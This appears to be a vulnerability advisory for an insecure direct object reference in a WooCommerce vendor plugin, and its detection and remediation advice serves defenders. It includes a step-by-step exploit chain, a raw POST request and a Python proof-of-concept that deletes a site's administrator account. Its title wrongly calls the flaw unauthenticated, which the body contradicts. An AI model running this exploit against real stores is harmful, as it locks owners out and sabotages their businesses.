CVE-2026-2554: WCFM IDOR Allows Vendors to Delete WordPress Admins
WCFM Frontend Manager ≤6.7.25 exposes an unauthenticated object reference in wcfm_delete_wcfm_customer, letting Vendor-level accounts delete arbitrary users including site Administrators.
# When Your Online Store's Bouncer Becomes a Liability
Millions of small businesses use WooCommerce to run online shops on WordPress. Many of them also use a plugin called WCFM that lets shop vendors manage their own storefronts. But a serious security gap has just been discovered.
Here's the problem in plain terms: The plugin doesn't properly check who's allowed to delete users. Think of it like a nightclub where the bouncer (the vendor) is supposed to only kick out troublemakers from their own section, but instead can remove anyone from the entire club, including the owner.
An attacker with vendor access could delete your store's admin account, locking the real owner out completely. They could wipe out customer records or sabotage the business. For a small business running on tight margins, this could mean days of downtime while scrambling to regain control.
The good news: This hasn't been actively exploited in the wild yet. Most hackers aren't using this against real stores at the moment. But that window could close quickly once word spreads.
Who should worry? Anyone running a WooCommerce store with multiple vendors, particularly if they've granted vendor access to people they don't completely trust.
What to do right now: First, update the WCFM plugin immediately — newer versions have fixed this. Second, audit your vendor accounts and remove any you don't actively need. Third, if you're worried about your store, check with your hosting provider or a WordPress security specialist to see if your site shows signs of suspicious user deletions in your logs.
This is fixable, but it requires action today, not tomorrow.
Want the full technical analysis? Click "Technical" above.
CVE-2026-2554 is an Insecure Direct Object Reference (IDOR) in the WCFM – Frontend Manager for WooCommerce WordPress plugin, confirmed across all releases up to and including 6.7.25. The vulnerability lives in the AJAX handler bound to wcfm_delete_wcfm_customer. The handler accepts a caller-supplied customerid integer, performs no capability check against the target user's role, and passes the value directly to wp_delete_user(). A threat actor with a Vendor account — a role routinely granted to marketplace sellers — can send a single authenticated POST request and permanently delete any WordPress user, up to and including administrator-level accounts.
CVSS 3.1 scores this 8.1 HIGH (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H). No public exploitation has been observed at time of writing, but the attack surface is trivially reachable from any authenticated session.
Root cause: The wcfm_delete_wcfm_customer AJAX handler validates that the caller is authenticated but never checks whether the target customerid belongs to a role the caller is permitted to manage, allowing horizontal and vertical privilege escalation through direct object manipulation.
Affected Component
Plugin: WCFM – Frontend Manager for WooCommerce along with Bookings Subscription Listings Compatible
Slug: wc-frontend-manager
Affected versions: ≤ 6.7.25
Fixed version: 6.7.26
File of interest: core/class-wcfm-customers.php
AJAX action: wp_ajax_wcfm_delete_wcfm_customer
Root Cause Analysis
The handler is registered in the plugin's customer management module. Stripping WordPress boilerplate, the logic collapses to the following:
/* core/class-wcfm-customers.php — wcfm_delete_wcfm_customer() */
function wcfm_delete_wcfm_customer() {
/* Nonce check — confirms request origin, NOT authorization */
check_ajax_referer( 'wcfm-ajax-nonce', 'nonce' );
/* BUG: customerid is fully attacker-controlled; no role comparison
against the target user is ever performed here. */
$customer_id = absint( $_POST['customerid'] ); // <-- IDOR entry point
if ( $customer_id ) {
/* Retrieves WP_User for arbitrary ID — including admin accounts */
$customer = new WP_User( $customer_id ); // no 404 / not-found guard
/* Direct deletion; reassign posts to current user */
require_once( ABSPATH . 'wp-admin/includes/user.php' );
wp_delete_user( $customer_id ); // BUG: unconditional delete
/* Success response — attacker learns the operation succeeded */
wp_send_json_success();
}
wp_send_json_error();
}
Three distinct failures compound here:
No role hierarchy check. WordPress exposes user_can( $customer_id, 'manage_options' ) as a trivial guard. It is never called.
No ownership check. WCFM's vendor model associates customers with a vendor via _wcfm_vendor user meta. The handler never verifies that customerid is owned by the requesting vendor.
Nonce ≠ authorisation.check_ajax_referer prevents CSRF but carries zero RBAC semantics. The nonce is freely available to any logged-in session from the frontend dashboard markup.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker registers or compromises a Vendor-level WordPress account.
(Vendor registration is open on most WooCommerce marketplaces.)
2. Attacker loads any WCFM frontend dashboard page and extracts the
live nonce from the inline JS blob:
wcfm_params.wcfm_ajax_nonce = "a1b2c3d4e5"
3. Attacker enumerates the target Administrator's user ID.
Methods:
a. WP REST API: GET /wp-json/wp/v2/users (if not disabled)
b. Author archive: /?author=1 -> 301 -> /author/admin/
c. XML-RPC: wp.getAuthors (if enabled)
Administrator accounts almost always occupy user ID 1.
4. Attacker sends a single authenticated POST:
POST /wp-admin/admin-ajax.php HTTP/1.1
Cookie: wordpress_logged_in_=vendor_session_token
Content-Type: application/x-www-form-urlencoded
action=wcfm_delete_wcfm_customer&nonce=a1b2c3d4e5&customerid=1
5. Handler calls wp_delete_user(1) without restriction.
WordPress deletes the administrator, reassigns all authored posts
to the vendor (default wp_delete_user() behaviour).
6. Site is now effectively without an administrator account.
Attacker may elevate own role via wp-login.php password reset or
by exploiting the now-unprotected options table.
A minimal Python proof-of-concept demonstrating steps 4–5:
import requests
TARGET = "https://victim.example.com"
COOKIE = {"wordpress_logged_in_abc123": "vendor|...|hash"}
NONCE = "a1b2c3d4e5" # extracted from dashboard page source
TARGET_UID = 1 # administrator user ID
resp = requests.post(
f"{TARGET}/wp-admin/admin-ajax.php",
cookies=COOKIE,
data={
"action": "wcfm_delete_wcfm_customer",
"nonce": NONCE,
"customerid": TARGET_UID, # IDOR: no server-side validation
},
timeout=10,
)
if resp.json().get("success"):
print(f"[+] User {TARGET_UID} deleted successfully.")
else:
print(f"[-] Request failed: {resp.text}")
Memory Layout
This is a logic/authorisation vulnerability rather than a memory corruption bug, so there is no heap state to corrupt. The relevant "layout" is the WordPress object model and the data flow from HTTP POST to database DELETE:
POST BODY (attacker-controlled):
┌─────────────────────────────────────────────────┐
│ action = "wcfm_delete_wcfm_customer" │
│ nonce = "a1b2c3d4e5" (valid, unforgeable)│
│ customerid = 1 (ATTACKER SUPPLIED) │
└─────────────────────────────────────────────────┘
│
▼ absint() — sanitises to unsigned int, does NOT validate
┌─────────────────────────────────────────────────┐
│ $customer_id = 1 │
│ WP_User(1) → { ID:1, roles:["administrator"] } │
│ │
│ EXPECTED CHECK (missing): │
│ if user_can(target, 'administrator') → abort │
│ if meta(_wcfm_vendor) != current_vendor → abort│
│ │
│ ACTUAL PATH: │
│ wp_delete_user(1) → DELETE FROM wp_users │
│ WHERE ID = 1 │
└─────────────────────────────────────────────────┘
│
▼
wp_users table: row ID=1 permanently removed
wp_usermeta: all meta for ID=1 cascade-deleted
wp_posts: post_author repointed to vendor ID
Patch Analysis
The fix introduced in 6.7.26 adds two guards before wp_delete_user() is reached: a role hierarchy comparison and a vendor-ownership check.
The patch is complete but note its dependency on _wcfm_vendor meta being reliably populated. Sites that import users via CSV or third-party migration tools without setting this meta will cause the ownership check to fail as 0 !== vendor_id, which is the safe-fail direction — deletion is blocked.
Detection and Indicators
Look for POST requests to admin-ajax.php with action=wcfm_delete_wcfm_customer originating from Vendor-role sessions targeting user IDs other than known customer accounts. The following Nginx/Apache log pattern is a starting point:
# Apache / Nginx access log indicator
POST /wp-admin/admin-ajax.php ... "action=wcfm_delete_wcfm_customer"
# Correlate with:
# wp_users.user_registered timestamp gaps (deleted accounts leave no trace)
# wp_posts.post_author mass-reattribution events
# PHP error log: "wp_delete_user called for user ID N" (if debug enabled)
# WP audit plugin (WP Activity Log) event codes to monitor:
# Event 4007: User account deleted
# Event 4008: User role changed (post-exploitation escalation)
After exploitation the administrator row in wp_users is gone with no tombstone. Forensic recovery requires a database backup or binary log replay. The vendor account's authored post count will spike anomalously as WordPress reassigns the deleted admin's content.
Remediation
Update immediately to WCFM ≥ 6.7.26 via the WordPress plugin repository.
If immediate update is impossible, use a WAF rule to block POST requests containing action=wcfm_delete_wcfm_customer from non-administrator sessions at the perimeter.
Audit wp_users for unexpected deletion events; cross-reference with server access logs for the AJAX endpoint.
Restrict Vendor self-registration or require manual approval to raise the bar for unauthenticated attackers needing an initial session.
Enable a WordPress audit logging plugin (WP Activity Log, Simple History) to capture user deletion events with actor attribution going forward.
Enumerate all WCFM AJAX handlers in your deployment with grep -r "wp_ajax_" wp-content/plugins/wc-frontend-manager/ and verify each performs both nonce and capability validation before acting on user-supplied IDs.